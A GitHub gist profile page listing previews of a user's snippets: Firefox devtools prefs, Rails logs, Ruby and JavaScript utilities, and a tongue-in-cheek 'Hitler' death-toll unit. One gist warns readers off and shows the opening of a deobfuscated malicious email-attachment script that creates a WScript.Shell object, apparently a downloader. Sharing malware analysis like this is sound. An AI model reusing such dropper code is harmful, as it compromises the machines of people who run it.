Skip to content

Instantly share code, notes, and snippets.

View penguinpowernz's full-sized avatar

Robert penguinpowernz

  • Penguin Power
  • Auckland, New Zealand
View GitHub Profile
asana.coffee
bang.coffee
decide.coffee
eight-ball.coffee
fml.coffee
gemwhois.coffee
gitlab.coffee
google-search-api.coffee
http-post-say.coffee
http-say.coffee
// disable developer tools
user_pref("devtools.appmanager.enabled", false);
user_pref("devtools.appmanager.manifestEditor.enabled", false);
user_pref("devtools.chrome.enabled", false);
user_pref("devtools.debugger.chrome-enabled", false);
user_pref("devtools.debugger.enabled", false);
user_pref("devtools.debugger.pretty-print-enabled", false);
user_pref("devtools.debugger.remote-enabled", false);
user_pref("devtools.debugger.source-maps-enabled", false);
user_pref("devtools.debugger.ui.variables-sorting-enabled", false);
@penguinpowernz
penguinpowernz / README.md
Created May 29, 2014 02:56
Custom permit matcher for matching authorizer actions using a nice syntax (like Pundit)

RSpec permit matcher for Authorizer classes

I use authorizer classes in my app that I learned about from a blog post by @sethvargo.

This is a custom rspec matcher for Authorizer classes gleaned from this post by @thunderboltlabs that allows you to use permit in your Rspec tests.

Save the gist below to `` and add the following line to your spec_helper.rb file (if you haven't already).

Dir[Rails.root.join("spec/support/**/*.rb")].each {|f| require f}
@penguinpowernz
penguinpowernz / production.log
Last active August 29, 2015 14:05
There is some fuckery afoot
##########################################
##########################################
###### works fine from localhost #######
##########################################
##########################################
Started GET "/api/v1/devices/heartbeat" for 127.0.0.1 at 2014-08-18 11:35:48 +1200
Processing by Api::V1::DevicesController#heartbeat as JSON
SystemMessage Load (0.2ms) SELECT "system_messages".* FROM "system_messages"
Rendered text template (0.0ms)
@penguinpowernz
penguinpowernz / gollum_numberer.js
Created September 1, 2014 20:56
Some javascript to give numbers to headings on a gollum page
function incr_index(index, depth) {
parts = index.split(".");
part = parts[depth - 1];
part = (typeof part == undefined) ? 0 : (part*1)+1;
parts[depth - 1] = part;
for ( var i=depth ; i < parts.length; i++ ) {
parts[i] = 0;
"<h2 id=\"wiki-foo\"><a class=\"anchor\" id=\"_xxxx1\" href=\"#_xxxx1\"><i class=\"fa fa-link\"></i></a>xxxx<sup class=\"footnote\" id=\"wiki-fnr1\"><a href=\"#wiki-fn1\">1</a></sup>\n</h2>\n<p class=\"footnote\" id=\"wiki-fn1\"><a href=\"#wiki-fnr1\"><sup>1</sup></a> footnote</p>"
@penguinpowernz
penguinpowernz / Rakefile
Last active August 29, 2015 14:09
Convert a folder of source ruby gems into debs
# When in a folder with ruby gem source folders underneath it, running this will
# build each gem, install it and it's dependencies to a temporary folder and finally
# convert the gems and all it's dependencies into debian packages.
GEM_PREFIX = "/usr/lib/gems/2.1.4"
GEMS = ["redis_alerting", "rackdis"]
namespace :gems do
task :pkg do
@penguinpowernz
penguinpowernz / README.md
Created December 17, 2014 22:08
Random JS exploit

DO NOT RUN THIS CODE

Especially on a Windows machine. I got this in an email as an attached zip. The file inside was a *.doc.js file. Real smooth guys.

The JS in this file was obfuscated, but it generated a function into a string and then eval'd that string. This is the resulting function that would be evaluated:

function dl(fr,fn,rn) {
  var ws = new ActiveXObject("WScript.Shell");
var _faye = require("faye"),
http = require("http")
express = require("express"),
app = express(),
PORT = 8099,
server = http.createServer(app),
bayeux = new _faye.NodeAdapter({mount: '/faye', timeout: 45}),
faye = _faye.Client("http://localhost:"+PORT+"/faye");
bayeux.attach(server);
@penguinpowernz
penguinpowernz / README.md
Created October 5, 2015 22:12
The Hitler as a unit of human death count

The Hitler as a unit of human death count

Adolf Hitler was responsible for the deaths of 11 million people through extermination during the Holocaust. He is often toted as the worst killer in history, with his last name synomous with human deaths. Therefore it is possible that we can use his last name as a standard unit of measurement for human death tolls, and measure other atrocities or war for comparison purposes. Note that this is not in an effort to try to absolve Hitler of his crimes in any way, but rather to provide a comparison of Hilter against other figures and governments throughout history that have committed atrocities of which don't get nearly as much attention as the holocaust.

It is similar to the fictional unit of measurement, Hobo Power, used to determine how foul something smells.

The standard unit

Here, we define 1 Hitler as 11 million dead humans.